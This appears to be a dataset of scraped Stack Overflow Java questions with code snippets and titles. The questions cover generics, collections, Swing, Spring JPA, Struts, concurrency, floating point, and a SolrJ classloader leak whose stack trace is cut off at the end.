field level since they do not support the TYPE RetentionPolicy . This solutions seems to work.My questions : How are the field level annotations in my custom annotations ( and values ) transferred to my usage of EntityId annotation ? What about the default values which I set in my custom annotation , are they used since I do not specify attributes at the usage ? It is a preferred way to use annotations on field level in annotations ?","@ Entitypublic class SimponsFamily { @ Id @ TableGenerator ( name = ENTITY_ID_GENERATOR , table = ENTITY_ID_GENERATOR_TABLE , pkColumnName = ENTITY_ID_GENERATOR_TABLE_PK_COLUMN_NAME , valueColumnName = ENTITY_ID_GENERATOR_TABLE_VALUE_COLUMN_NAME ) @ GeneratedValue ( strategy = GenerationType.TABLE , generator = ENTITY_ID_GENERATOR ) private long id ; ... } @ TableGenerator ( name = ENTITY_ID_GENERATOR , table = ENTITY_ID_GENERATOR_TABLE , pkColumnName = ENTITY_ID_GENERATOR_TABLE_PK_COLUMN_NAME , valueColumnName = ENTITY_ID_GENERATOR_TABLE_VALUE_COLUMN_NAME ) @ Retention ( RetentionPolicy.RUNTIME ) @ Target ( ElementType.FIELD ) public @ interface EntityId { @ GeneratedValue ( strategy = GenerationType.TABLE , generator = ENTITY_ID_GENERATOR ) public int generator ( ) default 0 ; @ Id public long id ( ) default 0 ; } @ Entity public class SimponsFamily { @ EntityId private long id ; ... }",How to create meta annotations on field level ? +Java,"as all know decimal fractions ( like 0.1 ) , when stored as floating point ( like double or float ) will be internally represented in `` binary format '' ( IEEE 754 ) . And some decimal fractions can not directly be represented in binary format . What I have not understood , is the precision of this `` conversion '' :1 . ) A Floating point itself can have a precision ( that is the `` significant '' ) ? 2 . ) But also the conversion from decimal fraction to binary fraction has a precision loss ? Question : What is the worst case precision loss ( for `` all '' possible decimal fractions ) when converting from decimal fractions to floating point fractions ? ( The reason I want to know this is , when comparing decimal fractions with binary/floating point fractions I need to take the precision into account ... to determine if both figures are identical . And I want this precision to be as tight/precise as possible ( decimal fraction == binary fraction +/- precision ) Example ( only hypothetical )","0,1 dec = > 0,10000001212121212121212 ( binary fraction double ) = > precision loss 0,000000012121212121212120,3 dec = > 0,300000282828282 ( binary fraction double ) = > precision loss 0,000000282828282",Floating-Point Arithmetic = What is the worst precision/difference from Dec to Binary ? +Java,"I want to transform a List < String > into a Map < String , Integer > . The lists ' values should serve as keys , and the map value will be statically initialized.I want to keep the order of the list , thus using a LinkedHashMap , and ignore duplicates.Question : is there any advantage using the java8 stream API ? Because , comparing the following , simply regarding the syntax I 'd never go for the verbose stream api , but always sticking to the old foreach loop : Would you stick to the old approach or go with new lambda expressions ?","//foreach Map < String , Integer > map = new LinkedHashMap < > ( ) ; for ( String k : abk ) { if ( k ! = null ) map.put ( k , STATIC_VAL ) ; } //streams Map < String , Integer > map2 = abk.stream ( ) .filter ( Objects : :nonNull ) .collect ( Collectors.toMap ( Function.identity ( ) , k - > STATIC_VAL , ( v1 , v2 ) - > v1 , LinkedHashMap : :new ) ) ;",Transform a list into a map - foreach or streams ? +Java,"I am calling a web service from my Android application . I have many different calls to this service all through the application and every one of them is returning data in less than a second , except for one . One of my calls can take up to a minute to return the data even though the actual web service call is near instantaneous . The problem occurs with the line : That is called and the value is returned from the web service almost instantaneously . But it can take up to a minute to reach the next line : What is happening between the web service returning data and the app hitting the next line ( above ) ? Is there a way to reduce this delay ? Is there anything simple to check ?","transport.call ( SOAP_ACTION , soapEnvelope ) ; SoapObject result = ( SoapObject ) soapEnvelope.bodyIn ;",HttpTransportSe.call ( ) method taking up to a minute for web service call +Java,"I 'm working on a Java project right now , and I have a class I 've created called DistanceQueue . It 's signature is given byIn this class , there is a methodwhich adds the key-value pair ( v , Double.MAX_VALUE ) to a HashMap called distances that is in the class DistanceQueue . However , inside of add ( int v ) , when I typeI get the following error : Does anyone know why I am getting this error ? I thought Java automatically converted between int and Integer for you . Is there an easy way that I can fix it ? Thanks !","public class DistanceQueue < Integer > extends PriorityQueue < Integer > public boolean add ( int v ) distances.put ( v , Double.MAX_VALUE ) ; DistanceQueue.java:98 : error : no suitable method found for put ( int , double ) distances.put ( v , Double.MAX_VALUE ) ; ^ method HashMap.put ( Integer , Double ) is not applicable ( actual argument int can not be converted to Integer by method invocation conversion ) where Integer is a type-variable : Integer extends Object declared in class ShortestPaths.DistanceQueue1 error","Ca n't add ( int , double ) pair to HashMap < Integer , Double >" +Java,"I have a sample EXE which prints below output.EXEs Output : equivalent code in java : When trying to initiate the EXE using java code and read the output some data goes missing . Find the java for initiating the asset.Java Code : Output : From above output it is clear that we are missing data like 2,3,5 , failed.I think the asset gets completed before we read using InputStreamReader . Is there any way we can make the asset wait till we read using InputStreamReader and begin the next set of instruction or is there any other more better way to do this.Edit1 : In my original code I am also reading the error stream in parallel please find the code.ErrorStreamReader : EXE executer java code : It looks like the input stream reader is reading by skipping one line at a time.EDIT2 : Since I was under the thought that InputStreamReader was missing even number lines I made a change in the EXE ( a python script ) to print from 1 to 6 and then failed.Modified EXE Output : Now the InputStreamReader output wasJava Output : As I thought I am missing odd numbered lines . Could somebody please let me know the cause ? .Note : The problem was due to reading the inputStream Twice sorry for the inconvenience caused . I am extremely sorry .","12345Failed for ( int i = 1 ; i < = 5 ; i++ ) { System.out.println ( i ) ; } System.out.println ( `` Failed '' ) ; String [ ] commands = new String [ ] { `` sample.exe '' } ; p = Runtime.getRuntime ( ) .exec ( commands ) ; InputStream is = p.getInputStream ( ) ; InputStreamReader isr = new InputStreamReader ( is ) ; BufferedReader br = new BufferedReader ( isr ) ; while ( ( line = br.readLine ( ) ) ! = null ) { line = br.readLine ( ) System.out.println ( line ) ; if ( line.toLowerCase ( ) .contains ( `` failed '' ) ) { # Apply business Rule . } } 135 public void run ( ) { try { InputStreamReader isr = new InputStreamReader ( is ) ; BufferedReader br = new BufferedReader ( isr ) ; while ( true ) { String s = br.readLine ( ) ; System.out.println ( s+ '' error Stream '' ) ; if ( s == null ) break ; } is.close ( ) ; } catch ( Exception ex ) { System.out.println ( `` Problem reading stream `` + name + `` ... : '' + ex ) ; ex.printStackTrace ( ) ; } } String [ ] commands = new String [ ] { `` sample.exe '' } ; p = Runtime.getRuntime ( ) .exec ( commands ) ; Thread errorStream = new Thread ( new ReadStream ( `` stderr '' , p.getErrorStream ( ) ) # Reads error Stream In parallelInputStream is = p.getInputStream ( ) ; InputStreamReader isr = new InputStreamReader ( is ) ; BufferedReader br = new BufferedReader ( isr ) ; while ( ( line = br.readLine ( ) ) ! = null ) { line = br.readLine ( ) System.out.println ( line ) ; if ( line.toLowerCase ( ) .contains ( `` failed '' ) ) { # Apply business Rule . } } 123456Failed 135Failed",Missing line when reading using input stream reader +Java,"i ' m programming an application which works with swing components , i notice one thing on which i would an explanation i have these classes : this enum on which i instantiate the gui dimensionthis class that starts the applicationand this class that set the size of the panelWhat I noticed is that , it is true that enums are not really integers but objects , but when I return GuiDimension.WIDTH.getValue ( ) GuiDimension.HEIGHT.getValue ( ) they return integers that can well be used for other purposes once it has been taken.now if I insert this on : or instead of this , which i inserted in the example the frame is displayed with wrong dimension , and I do not understand why . If GuiDimension.WIDTH.getValue ( ) and GuiDimension.WIDTH.getValue ( ) ) are correct for setPreferredSize ( ... ) , why is not the same for setSize ( int , int ) and for setSize ( Dimension ) ? when tested this simple code you can see that .","public enum GuiDimension { WIDTH ( 700 ) , HEIGHT ( 400 ) ; private final int value ; private GuiDimension ( int value ) { this.value = value ; } public int getValue ( ) { return value ; } } private GamePanel gamePanel = new GamePanel ( ) ; public static void main ( String [ ] args ) { new MainFrame ( ) ; } public MainFrame ( ) { initGameFrame ( ) ; } private void initGameFrame ( ) { setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; add ( gamePanel ) ; setResizable ( false ) ; setUndecorated ( true ) ; pack ( ) ; setVisible ( true ) ; setLocationRelativeTo ( null ) ; } } public class GamePanel extends JPanel { public GamePanel ( ) { setPreferredSize ( new Dimension ( GuiDimension.WIDTH.getValue ( ) , GuiDimension.HEIGHT.getValue ( ) ) ) ; //it makes other stuff that are not of interest for this contest } } SetSize ( new Dimension ( GuiDimension.WIDTH.getValue ( ) , GuiDimension.HEIGHT.getValue ( ) ) ) ; SetSize ( GuiDimension.WIDTH.getValue ( ) , GuiDimension.HEIGHT.getValue ( ) ) ; setPreferredSize ( new Dimension ( GuiDimension.WIDTH.getValue ( ) , GuiDimension.HEIGHT.getValue ( ) ) ) ;",set size of JPanel +Java,I am little bit confused with the different behavior of an anonymous class and a lambda expression . When I 'm using a lambda expression : When using an anonymous class : Can someone please explain the different behavior ?,//Test.javaRunnable r1 = ( ) - > System.out.println ( this ) ; Runnable r2 = ( ) - > System.out.println ( toString ( ) ) ; @ Overridepublic String toString ( ) { return `` Hello World ! `` ; } // in main method new Test ( ) .r1.run ( ) ; new Test ( ) .r2.run ( ) ; Output : Hello World ! Hello World ! Runnable r1 = new Runnable ( ) { @ Override public void run ( ) { System.out.println ( this ) ; } } ; Runnable r2 = new Runnable ( ) { @ Override public void run ( ) { System.out.println ( toString ( ) ) ; } } ; @ Overridepublic String toString ( ) { return `` Hello World ! `` ; } // in main method new Test ( ) .r1.run ( ) ; new Test ( ) .r2.run ( ) ; Output : Package_Name.Test $ 1 @ 1db9742 Package_Name.Test $ 2 @ 106d69c,Value of `` this '' in an anonymous class vs a lambda expression +Java,"How do I avoid having a class and an interface per entity when using JPA with Spring Boot ? I have the following entity ( and 10 other ) : In order to be able to persist this entity , I need to setup an interface per entity : and then @ autowire it : If I now have 10 entities , it means that I need to define 10 @ Repository interfaces and @ autowire each of those 10 interfaces.How would I embed that save method directly into Account so that I only have to call account.save ( ) and how do I get rid of all those @ repository interfaces I have to declare per entity ?","@ Entity @ Table ( name = `` account '' ) public class Account { @ Id @ GeneratedValue private Long id ; @ Column ( name = `` username '' , nullable = false , unique = true ) private String username ; @ Column ( name = `` password '' , nullable = false ) private String password ; ... @ Repositorypublic interface AccountRepository extends JpaRepository < Account , Long > { } @ Controllerpublic class AdminController { @ Autowired AccountRepository accountRepo ; Account account = new Account ( ) ; account.setUsername ( ... ) ; ... accountRepo.save ( account ) ;",How to get rid of JpaRepository interfaces in Spring Boot +Java,If I have a string of pipe-delimited data : How can I replace any occurrance of || with : | | ? So it would end up looking like this : I tried using the simple Java expression : but that only replaced the first occurrence : So I need something to make it repeat ( greedily I think ) .,"123456|abcd|||65464|hgfhgf 123456|abcd| | |65464|hgfhgf delimString.replaceAll ( `` \\\|\\\| '' , `` | | '' ) ; 123456|abcd| ||65464|hgfhgf",Regex ( Java ) : How do I replace `` || '' with `` | | '' repeatedly +Java,"I know that null is not a data type.But null can be only assigned for any type of Object and String.Example : Here null can be assigned to both an Object and a String , but if I want to put assign any object into String we have to use type cast . but for null there is no type case.something like the followingThats why I have doubt that which type of data type is null . How null can be assigned to any object or any String . How is null implemented in Java ?",Object o = null ; // it tells that null is an objectString b = null ; // it tells that null is of string type String b = ( String ) o ;,How is null implemented in Java ? +Java,I 'm trying to create an upload-image button and afterward showing the image on a different jsp page . I want to do this by uploading into the app-root/data/images folder . This works with the below filepath : filePath = System.getenv ( `` OPENSHIFT_DATA_DIR '' ) + `` images/ '' ; But how can I show this image on my jsp ? I tried using : Both these options do n't work . I also read that I need to create a symbolic link . But when I 'm in my app-root/data or app-root/data/images or in app-root the command ln -s returns missing file operandThe logo21.jpg does show up in my Git bash,< BODY > < h1 > SNOOP PAGE < /h1 > < a href= '' profielMijnBedrijf.jsp '' > Ga weer terug < /a > < % String filepath = System.getenv ( `` OPENSHIFT_DATA_DIR '' ) + `` images/ '' ; out.println ( `` < img src= ' '' +filepath+ '' logo21.jpg'/ > '' ) ; % > < img src= '' app-root/data/images/logo21.jpg '' / > < /BODY >,OpenShift Java - Use image out of Data dir +Java,"The following example : I have a superclass and subclass for a struts action.The superclass defines @ Results , and the subclass needs to define additional specific @ Result entries . For example : ..and a subclassMy question is , does an instance of ReportAction only have the @ Result of INDEX defined , or does it also contain any @ Result entries defined in any if it 's superclasses.Is my ReportAction aware of the location set for BaseAction.ERROR ? ? Thanks , Martin","@ Results ( { @ Result ( name=BaseAction.ERROR , location= '' /WEB-INF/jsp/error.jsp '' ) } ) public abstract class BaseAction extends ActionSupport implements ServletRequestAware { ... } @ Results ( { @ Result ( name=BaseAction.INDEX , location= '' /WEB-INF/jsp/reporting/index.jsp '' ) } ) public class ReportAction extends BaseAction { ... }",Do Struts2 Results annotations override or add to superclass defined values ? +Java,"I know that Java is always pass-by-value , but I do not understand why this works : And this does not work : Why ?","public static void swap ( int [ ] arr , int i , int j ) { int tmp = arr [ i ] ; arr [ i ] = arr [ j ] ; arr [ j ] = tmp ; } public static void main ( String [ ] args ) { int [ ] arr = { 3 , 4 , 5 , 6 } ; swap ( arr , 1 , 3 ) ; // arr becomes { 3 , 6 , 5 , 4 } } public static void swap ( int [ ] arr , int [ ] arr2 ) { int [ ] tmp = arr ; arr = arr2 ; arr2 = tmp ; } public static void main ( String [ ] args ) { int [ ] arr = { 3 , 4 , 5 , 6 } ; int [ ] arr2 = { 1 , 2 , 5 , 6 } ; swap ( arr , arr2 ) ; }",Parameter passing in Java +Java,"Ok , so I am implementing the state monad in java . However , I ca n't seem to get the generics to work right . I have the code below , and am trying to avoid the cases indicated.Note : I am aware that if I cange the signature of bind to < B > Monad < M , B > bind ( Function < ? super A , ? extends Monad < M , B > > p_function ) ; The cast can be avoided . However , this causes a compile error in the following methodNow , I also tried changing the signature of compose in a similar manner . i.e . rather than MB extends Monad < M , B > I used Monad < M , B > where MB was used and similarly for MC . This makes the compose method compile . However , then the return type could not be correctly inferred by the callers of compose i.e . Does n't work without specifying the types on the method call , whereas before it did.How do I make all these generics play nicely together ?","public interface Monad < M , A > { < B , R extends Monad < M , B > > R bind ( Function < ? super A , R > p_function ) ; } public class State < S , A > implements Monad < State < S , ? > , A > { private Function < S , Pair < S , A > > m_function ; public State ( Function < S , Pair < S , A > > p_function ) { m_function = p_function ; } public final Pair < S , A > run ( S p_state ) { return m_function.apply ( p_state ) ; } @ Override public < B , R extends Monad < State < S , ? > , B > > R bind ( final Function < ? super A , R > p_function ) { // I want to avoid the cast to R here return ( R ) new State < S , B > ( ( S state ) - > { Pair < S , A > run = run ( state ) ; // And this cast , but they seem related State < S , B > applied = ( State < S , B > ) p_function.apply ( run.second ( ) ) ; return applied.run ( run.first ( ) ) ; } ) ; } } public static < A , B , C , M , MB extends Monad < M , B > , MC extends Monad < M , C > > Function < A , MC > compose ( Function < ? super A , MB > p_first , Function < ? super B , MC > p_second ) { // have to use an anonymous class here , because using a closure causes a // runtime error with the beta version of JDK 8 return new Function < A , MC > ( ) { @ Override public MC apply ( A arg ) { MB monadOfB = p_first.apply ( arg ) ; return monadOfB. < C > bind ( p_second ) ; // < -- type error here } } ; } Function < String , State < Integer , String > > left = ... ; Function < String , State < Integer , String > > right = ... ; Function < String , State < Integer , String > > composed = Monad.compose ( left , right ) ;",Java Generics Inferred Types +Java,"I have a have a String which came from a text area : ( with the variable name string ) If I were to split that into separate words using string.split ( `` `` ) , then check what words contain `` \n '' Both line and And in my sentence contain \n . But , if I were to check if the word either started with \n or ended with it , it gives me no results.My result from that : So , if the word contains a \n , but it does n't start or end with it , where exactly is it and how can I manage it without using replaceAll ( String , String ) ?",This is the first lineAnd this is the second for ( String s : string.split ( `` `` ) ) { if ( s.contains ( `` \n '' ) ) System.out.println ( s ) ; } if ( s.contains ( `` \n '' ) ) { System.out.println ( `` Contains '' ) ; if ( s.startsWith ( `` \n '' ) ) System.out.println ( `` Starts with '' ) ; else if ( s.endsWith ( `` \n '' ) ) { System.out.println ( `` Ends with '' ) ; else System.out.println ( `` Does not contain '' ) ; } ContainsDoes not contain,Where is \n located in a String ? +Java,Suppose this codeWhat lock should be acquired by any thread if it wants to access methodA function of class B and methodA of super class A by super.methodA ( ) ?,class A { public synchronized void methodA ( ) { // ... } } class B extends A { @ Override public synchronized void methodA ( ) { // ... super.methodA ( ) ; } },Extended classes synchronized methods locking +Java,"I am reading the official GAE documentation on transactions and I ca n't understand when a ConcurrentModificationException is thrown.Look at one of the examples which I am copy-pasting here : Now , all the writes to the datastore ( in this example ) are wrapped under a transaction . So why would a ConcurrentModificationException be thrown ? Does it happen when some other code which is not wrapped in a transaction updates the same entity that is being modified by the above code ? If I ensure that all code that updates an Entity is always wrapped in a transaction , is it guaranteed that I wo n't get a ConcurrentModificationException ?","int retries = 3 ; while ( true ) { Transaction txn = datastore.beginTransaction ( ) ; try { Key boardKey = KeyFactory.createKey ( `` MessageBoard '' , boardName ) ; Entity messageBoard = datastore.get ( boardKey ) ; long count = ( Long ) messageBoard.getProperty ( `` count '' ) ; ++count ; messageBoard.setProperty ( `` count '' , count ) ; datastore.put ( messageBoard ) ; txn.commit ( ) ; break ; } catch ( ConcurrentModificationException e ) { if ( retries == 0 ) { throw e ; } // Allow retry to occur -- retries ; } finally { if ( txn.isActive ( ) ) { txn.rollback ( ) ; } } }",When is the ConcurrentModificationException thrown in GAE ? +Java,"I found out that Java supports constant folding of primitive types , but what about Strings ? ExampleIf I create the following source codeWhat goes into the compiled code ? Combined Version ? out.write ( `` < markup > < nested > Easier to read if it is split into multiple lines < /nested > < /markup > '' ) ; Or the less efficient run-time concatenation version ? out.write ( new StringBuilder ( `` '' ) .append ( `` < markup > '' ) .append ( `` < nested > '' ) .append ( `` Easier to read if it is split into multiple lines '' ) .append ( `` < /nested > '' ) .append ( `` < /markup > '' ) .append ( `` '' ) ) ;",out.write ( `` '' + `` < markup > '' + `` < nested > '' + `` Easier to read if it is split into multiple lines '' + `` < /nested > '' + `` < /markup > '' + `` '' ) ;,Does Java Compiler include String Constant Folding ? +Java,"I have a project that requires me to merge two , sorted arrays ( a and b ) and place the result in a new array of length a.length + b.length . I 'm tracking both the counter of my placement in all 3 arrays , and the length of my arrays are unequal . My convention is that if one array runs out before another , the code will just dump the rest of the other array into the result array.Unfortunately , the only way that I can check if the other array still contains elements is seen the for loop . Can anyone help me ? This should a relatively easy fix , but I ca n't think of a solution .","public class Two { public static void main ( String [ ] args ) { //sample problem int [ ] var_a = { 2,3,5,5,8,10,11,17,18,20 } ; int [ ] var_b = { 5,6,7,8,14,15,17 } ; final int a_size = 10 ; final int b_size = 7 ; final int c_size = 17 ; int [ ] var_c = new int [ 17 ] ; int aCount = 0 ; int bCount = 0 ; int cCount = 0 ; for ( cCount = 0 ; cCount < c_size ; cCount++ ) { //b runs out before a runs out if ( ( bCount == b_size ) & & ( aCount < = a_size ) ) { //dump rest of var_a into var_c var_c [ cCount ] = var_a [ aCount ] ; aCount++ ; } //PROBLEM : bCount is equal to bSize , and is triggering the break . //a runs out before b runs out else if ( ( aCount == a_size ) & & ( bCount < = b_size ) ) { //dump rest of var_b into var_c var_c [ cCount ] = var_b [ bCount ] ; bCount++ ; } if ( ( aCount > = a_size ) || ( bCount > = b_size ) || ( cCount > = c_size ) ) { break ; } if ( var_a [ aCount ] < var_b [ bCount ] ) { var_c [ cCount ] = var_a [ aCount ] ; aCount++ ; } else if ( var_a [ aCount ] > var_b [ bCount ] ) { var_c [ cCount ] = var_b [ bCount ] ; bCount++ ; } else if ( var_a [ aCount ] == var_b [ bCount ] ) { var_c [ cCount ] = var_a [ aCount ] ; aCount++ ; cCount++ ; var_c [ cCount ] = var_b [ bCount ] ; bCount++ ; } } for ( int i : var_c ) { System.out.print ( i + `` `` ) ; } } }",Merging sorted arrays of unequal length +Java,How does following expression evaluated ? Student class : And in some method :,public class Student { private Integer id ; // few fields here public Integer getId ( ) { return id ; } public void setId ( Integer id ) { this.id=id ; } //setters and getters } { int studentId ; // few lines here if ( studentId==student.getId ( ) ) // **1. what about auto-unboxing here ? Would it compare correctly ? I am not sure . ** { //some operation here } },Autoboxing in Java +Java,"I thought I have a reasonable grasp of generics . For example , I understand whyDoes not compile . I even earned some internet karma with the knowledge.But I 'd think by the same argument this should n't compile : Nor should this : But both compile . Why ? What is the difference to the example from the top ? I 'd appreciate an explanation in common English as well as a pointer to the relevant parts of the Java Specification or similar .","private void addString ( List < ? extends String > list , String s ) { list.add ( s ) ; // does not compile list.add ( list.get ( 0 ) ) ; // does n't compile either } private void addClassWildcard ( List < Class < ? extends String > > list , Class < ? extends String > c ) { list.add ( c ) ; list.add ( list.get ( 0 ) ) ; } private void addClass ( List < Class < ? extends String > > list , Class < String > c ) { list.add ( c ) ; list.add ( list.get ( 0 ) ) ; }",Second order generics seem to behave differently than first order generics +Java,"I have done a lot of readings but seems like I ca n't clear my confusion without asking here . Based on the diagram , when I create a a shallow copy of a linkedlist using clone ( ) . A new linkedlist is created and the reference value of the head variable in the original is copied to the clone 's and the rest of the nodes are shared . So if I add a new node using the clone , this should be visible to the orginal is it not ? But when printing list1 out the value 3 is omitted . Can someone tell me why ?",LinkedList < Integer > list1 = new LinkedList < > ( ) ; l1.add ( 1 ) ; l1.add ( 2 ) ; LinkedList < Integer > list2 = ( LinkedList ) l1.clone ( ) ; l2.add ( 3 ) ;,shallow copy of linkedlist does not reflect changes when adding new node +Java,"I 'm creating an application containing a class I 'm writing called Person . One of the fields of Person is 'aliases ' which is an ArrayList < String > . Ultimately the aliases will be displayed to the user according to the following logic : If Person has aliases then they should be displayed as [ Finch , Wren , Admin , etc ... ] , otherwise UNKNOWN should be displayed . So far I 've tried implementing this in one of three ways : Person contains the method getAliases ( ) which simply returns a copy of the ArrayList as is . The caller checks for an empty array to implement the desired behavior . Person contains the method aliasesToString ( ) which can be called to produce the desired string.Instead of using ArrayList < String > , aliases is an implementation of DefaultableArrayList < T > . This class extends ArrayList and holds a default value with type T. The toString ( ) method is overriden to produce the desired string . The application calls some_person.getAliases ( ) .toString ( ) to produce the desired behavior.Below is my implementation of option 3 : What concerns me about options 2 and 3 is that I might be adding needless complexity whilst violating OOP guidelines . Should Person really be concerned with what happens if there 's no aliases and does it make sense for aliases to define how it 's ultimately implemented in the application ? I think that I should be letting the caller handle the empty case . Which option should I choose that best meets standard OOP design guidelines ? Or is there a fourth option that I have n't considered ?","public class DefaultableArrayList < T > extends ArrayList < T > { private static final long serialVersionUID = -6735356930885363889L ; // Auto-generated private final T defaultElement ; public DefaultableArrayList ( T defaultElement ) { super ( ) ; this.defaultElement = defaultElement ; } public DefaultableArrayList ( Collection < ? extends T > c , T defaultElement ) { super ( c ) ; this.defaultElement = defaultElement ; } public DefaultableArrayList ( int initialCapacity , T defaultElement ) { super ( initialCapacity ) ; this.defaultElement = defaultElement ; } public T getDefaultElement ( ) { return defaultElement ; } @ Override public String toString ( ) { if ( ! isEmpty ( ) ) { return super.toString ( ) ; } else { return defaultElement.toString ( ) ; } } }",How to handle the default value of an ArrayList +Java,"I have come across an interesting situation . A coworker committed some changes , which would not compile on my machine neither from the IDE ( Eclipse ) nor from a command line ( Maven ) . The problem manifested in the compilation process taking 100 % CPU and only killing the process would help to stop it . After some analysis the cause of the problem was located and resolved . It turned out be a line `` double d = 2.2250738585072012e-308 '' ( without semicolon at the end ) in one of the interfaces . The following snipped duplicates it.Why would compiler hang ? A language edge case ?",public class WeirdCompilationIssue { double d = 2.2250738585072012e-308 },Compilation hangs for a class with field double d = 2.2250738585072012e-308 +Java,"I 've analyzed a classloader leak the last few days in a large application and I 've worked out the problem.My application uses SolrJ which will be initialilzed through a @ Bean-Method : SolrJ ( org.apache.solr : solr-solrj:5.4.1 ) uses the Apache HttpClient ( org.apache.httpcomponents : httpclient:4.4.1 ) . The HttpClient initializes the SSL context by using normal java classes like javax.net.ssl.SSLSocketFactory.In this way java loads the trustManager and analyzes all trusted certificates . If there is an error the certificate ( an instance of sun.security.x509.X509CertImpl ) is stored in a list and gets enriched by the thrown exception.This exception is swallowed and my application remains unaware.As far as I can see , the SSL Context is in the System / Root Classloader , my Application is in the dedicated WebappClassLoader and this is the problem because now there is an IOException inside of the SSL context which contains references in the stacktrace , backtrace and so on to classes in my application.But now I do n't know where this came from . Is it the SolrJ client , the Apache HttpClient , Java itself ( the JVM ) or is it my application ? I have made a small application to reproduce the problem which you can find here : https : //github.com/CptS/solrj-classloader-leakThis also contains a Workaround ( a shutdown hook which removes the references which leads to the classloader leak ) .If you disable the shutdown hook ( e.g . by commenting it out ) and start a clean Tomcat ( see `` Environment to reproduce '' below ) you can reproduce it by following this steps : deploy the war of the demo project ( A ) reload it ( B ) reload it again ( C ) Trigger GC ( D ) undeployTrigger GC ( E ) See that the metaspace gets not completly cleaned up ( F ) I 've create a heap dump and the shortest path to GC looks like this : This was the same as in my large application.The mentioned Workaround ( a little bit inspired by https : //github.com/mjiderhamn/classloader-leak-prevention , but this unfortunately does n't solve my problem ) searches by using reflection for these unparseableExtensions and removes the Exception stored in the why field through this way : SSLContextImpl.DefaultSSLContext # defaultImpl - > SSLContextImpl # trustManager - > X509TrustManager # trustedCerts - > X509CertImpl # info - > X509CertInfo # extensions - > CertificateExtensions # unparseableExtensions - > UnparseableExtension # whyBy doing this i 've got the stacktrace of the exception if it helps someone : My workaround solves the problem for now , but of course this is just a workaround.I want to know and maybe someone can answer one or more of my question : Is this a `` bug '' in SolrJ , HttpClient , Java or my application ? If it is my application , what I am doing wrong ? If it is not my application , is it a known problem ? I ca n't find any information about this . ( Where ) should I create a bug ticket ? Why is there a `` invalid '' certificate ? ( BTW : Maybe the leak would also be solve if I remove this certificate from the trust store ... I have n't tested but I think a invalid or damaged certificate should never lead to a classloader leak ... ) Has anyone some more information on this ? I ca n't belive that I 'm the only one who detect this behaviour ( except it is my appication ... see my question 2 ) .At last but not least , my Environment to reproduce : Tomcat Version : Apache Tomcat/8.0.14 ( Debian ) JVM Version : 1.8.0_91-b14JVM Vendor : Oracle CorporationOS Name : LinuxOS Version : 3.16.0-4-amd64Architecture : amd64",@ Bean ( destroyMethod = `` close '' ) public SolrClient solrClient ( ) { return new HttpSolrClient ( SOLR_URL ) ; } java.io.IOException : No data available in passed DER encoded value . at sun.security.x509.GeneralNames. < init > ( GeneralNames.java:61 ) at sun.security.x509.IssuerAlternativeNameExtension. < init > ( IssuerAlternativeNameExtension.java:136 ) at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) at sun.security.x509.CertificateExtensions.parseExtension ( CertificateExtensions.java:113 ) at sun.security.x509.CertificateExtensions.init ( CertificateExtensions.java:88 ) at sun.security.x509.CertificateExtensions. < init > ( CertificateExtensions.java:78 ) at sun.security.x509.X509CertInfo.parse ( X509CertInfo.java:702 ) at sun.security.x509.X509CertInfo. < init > ( X509CertInfo.java:167 ) at sun.security.x509.X509CertImpl.parse ( X509CertImpl.java:1804 ) at sun.security.x509.X509CertImpl. < init > ( X509CertImpl.java:195 ) at sun.security.provider.X509Factory.engineGenerateCertificate ( X509Factory.java:100 ) at java.security.cert.CertificateFactory.generateCertificate ( CertificateFactory.java:339 ) at sun.security.provider.JavaKeyStore.engineLoad ( JavaKeyStore.java:755 ) at sun.security.provider.JavaKeyStore $ JKS.engineLoad ( JavaKeyStore.java:56 ) at sun.security.provider.KeyStoreDelegator.engineLoad ( KeyStoreDelegator.java:224 ) at sun.security.provider.JavaKeyStore $ DualFormatJKS.engineLoad ( JavaKeyStore.java:70 ) at java.security.KeyStore.load ( KeyStore.java:1445 ) at sun.security.ssl.TrustManagerFactoryImpl.getCacertsKeyStore ( TrustManagerFactoryImpl.java:226 ) at sun.security.ssl.SSLContextImpl $ DefaultSSLContext.getDefaultTrustManager ( SSLContextImpl.java:767 ) at sun.security.ssl.SSLContextImpl $ DefaultSSLContext. < init > ( SSLContextImpl.java:733 ) at sun.reflect.NativeConstructorAccessorImpl.newInstance0 ( Native Method ) at sun.reflect.NativeConstructorAccessorImpl.newInstance ( NativeConstructorAccessorImpl.java:62 ) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance ( DelegatingConstructorAccessorImpl.java:45 ) at java.lang.reflect.Constructor.newInstance ( Constructor.java:423 ) at java.security.Provider $ Service.newInstance ( Provider.java:1595 ) at sun.security.jca.GetInstance.getInstance ( GetInstance.java:236 ) at sun.security.jca.GetInstance.getInstance ( GetInstance.java:164 ) at javax.net.ssl.SSLContext.getInstance ( SSLContext.java:156 ) at javax.net.ssl.SSLContext.getDefault ( SSLContext.java:96 ) at javax.net.ssl.SSLSocketFactory.getDefault ( SSLSocketFactory.java:122 ) at org.apache.http.conn.ssl.SSLSocketFactory.getSystemSocketFactory ( SSLSocketFactory.java:190 ) at org.apache.http.impl.conn.SchemeRegistryFactory.createSystemDefault ( SchemeRegistryFactory.java:85 ) at org.apache.http.impl.client.SystemDefaultHttpClient.createClientConnectionManager ( SystemDefaultHttpClient.java:121 ) at org.apache.http.impl.client.AbstractHttpClient.getConnectionManager ( AbstractHttpClient.java:484 ) at org.apache.solr.client.solrj.impl.HttpClientUtil.setMaxConnections ( HttpClientUtil.java:234 ) at org.apache.solr.client.solrj.impl.HttpClientConfigurer.configure ( HttpClientConfigurer.java:40 ) at org.apache.solr.client.solrj.impl.HttpClientUtil.configureClient ( HttpClientUtil.java:149 ) at org.apache.solr.client.solrj.impl.HttpClientUtil.createClient ( HttpClientUtil.java:125 ) at org.apache.solr.client.solrj.impl.HttpSolrClient. < init > ( HttpSolrClient.java:189 ) at org.apache.solr.client.solrj.impl.HttpSolrClient. < init > ( HttpSolrClient.java:162 ) at de.test.spring.SolrJConfig.solrClient ( SolrJConfig.java:20 ) at de.test.spring.SolrJConfig $ $ EnhancerBySpringCGLIB $ $ dbd4362f.CGLIB $ solrClient $ 0 ( < generated > ) at de.test.spring.SolrJConfig $ $ EnhancerBySpringCGLIB $ $ dbd4362f 